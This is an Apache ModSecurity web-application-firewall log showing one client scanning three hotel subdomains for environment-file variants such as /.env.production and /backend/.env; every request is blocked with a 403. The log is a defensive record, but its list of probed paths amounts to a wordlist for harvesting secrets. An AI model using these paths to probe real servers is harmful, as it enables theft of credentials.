[Tue Oct 27 01:43:45.995798 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "auA6Ecqawth2HP9RxtL-zgAAAAY"]
[Tue Oct 27 01:43:45.996028 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "auA6Ecqawth2HP9RxtL-zgAAAAY"]
[Tue Oct 27 01:43:45.996253 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "auA6Ecqawth2HP9RxtL-zgAAAAY"]
[Tue Oct 27 01:43:46.005102 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auA6EskbbDK06qDUYmCoqQAAAAU"]
[Tue Oct 27 01:43:46.005249 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auA6EskbbDK06qDUYmCoqQAAAAU"]
[Tue Oct 27 01:43:46.005462 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auA6EskbbDK06qDUYmCoqQAAAAU"]
[Tue Oct 27 01:43:46.043908 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auA6Eg67030o4-ZAUjLpqgAAAAg"]
[Tue Oct 27 01:43:46.044122 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auA6Eg67030o4-ZAUjLpqgAAAAg"]
[Tue Oct 27 01:43:46.044346 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auA6Eg67030o4-ZAUjLpqgAAAAg"]
[Tue Oct 27 01:43:46.091272 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "auA6Eg67030o4-ZAUjLpqwAAAAg"]
[Tue Oct 27 01:43:46.091417 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "auA6Eg67030o4-ZAUjLpqwAAAAg"]
[Tue Oct 27 01:43:46.091636 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "auA6Eg67030o4-ZAUjLpqwAAAAg"]
[Tue Oct 27 01:43:46.106220 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "auA6Esqawth2HP9RxtL-zwAAAAY"]
[Tue Oct 27 01:43:46.106380 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "auA6Esqawth2HP9RxtL-zwAAAAY"]
[Tue Oct 27 01:43:46.106592 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "auA6Esqawth2HP9RxtL-zwAAAAY"]
[Tue Oct 27 01:43:46.117136 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env1"] [unique_id "auA6Eg67030o4-ZAUjLprAAAAAg"]
[Tue Oct 27 01:43:46.117308 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env1"] [unique_id "auA6Eg67030o4-ZAUjLprAAAAAg"]
[Tue Oct 27 01:43:46.117525 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env1"] [unique_id "auA6Eg67030o4-ZAUjLprAAAAAg"]
[Tue Oct 27 01:43:46.137277 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auA6EskbbDK06qDUYmCoqgAAAAU"]
[Tue Oct 27 01:43:46.137495 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auA6EskbbDK06qDUYmCoqgAAAAU"]
[Tue Oct 27 01:43:46.137746 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auA6EskbbDK06qDUYmCoqgAAAAU"]
[Tue Oct 27 01:43:46.168392 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env2"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env2"] [unique_id "auA6Eg67030o4-ZAUjLprQAAAAg"]
[Tue Oct 27 01:43:46.168539 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env2"] [unique_id "auA6Eg67030o4-ZAUjLprQAAAAg"]
[Tue Oct 27 01:43:46.168769 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env2"] [unique_id "auA6Eg67030o4-ZAUjLprQAAAAg"]
[Tue Oct 27 01:43:46.230117 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_copy"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "auA6Eg67030o4-ZAUjLprgAAAAg"]
[Tue Oct 27 01:43:46.230428 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "auA6Eg67030o4-ZAUjLprgAAAAg"]
[Tue Oct 27 01:43:46.230753 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "auA6Eg67030o4-ZAUjLprgAAAAg"]
[Tue Oct 27 01:43:46.268447 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "auA6Eg67030o4-ZAUjLprwAAAAg"]
[Tue Oct 27 01:43:46.268593 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "auA6Eg67030o4-ZAUjLprwAAAAg"]
[Tue Oct 27 01:43:46.268896 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "auA6Eg67030o4-ZAUjLprwAAAAg"]
[Tue Oct 27 01:43:46.273141 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "auA6Esqawth2HP9RxtL-0AAAAAY"]
[Tue Oct 27 01:43:46.273320 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "auA6Esqawth2HP9RxtL-0AAAAAY"]
[Tue Oct 27 01:43:46.273569 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "auA6Esqawth2HP9RxtL-0AAAAAY"]
[Tue Oct 27 01:43:46.302326 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "auA6Eg67030o4-ZAUjLpsAAAAAg"]
[Tue Oct 27 01:43:46.302468 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "auA6Eg67030o4-ZAUjLpsAAAAAg"]
[Tue Oct 27 01:43:46.302707 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "auA6Eg67030o4-ZAUjLpsAAAAAg"]
[Tue Oct 27 01:43:46.336458 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yaml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "auA6Eg67030o4-ZAUjLpsQAAAAg"]
[Tue Oct 27 01:43:46.336642 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "auA6Eg67030o4-ZAUjLpsQAAAAg"]
[Tue Oct 27 01:43:46.336909 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "auA6Eg67030o4-ZAUjLpsQAAAAg"]
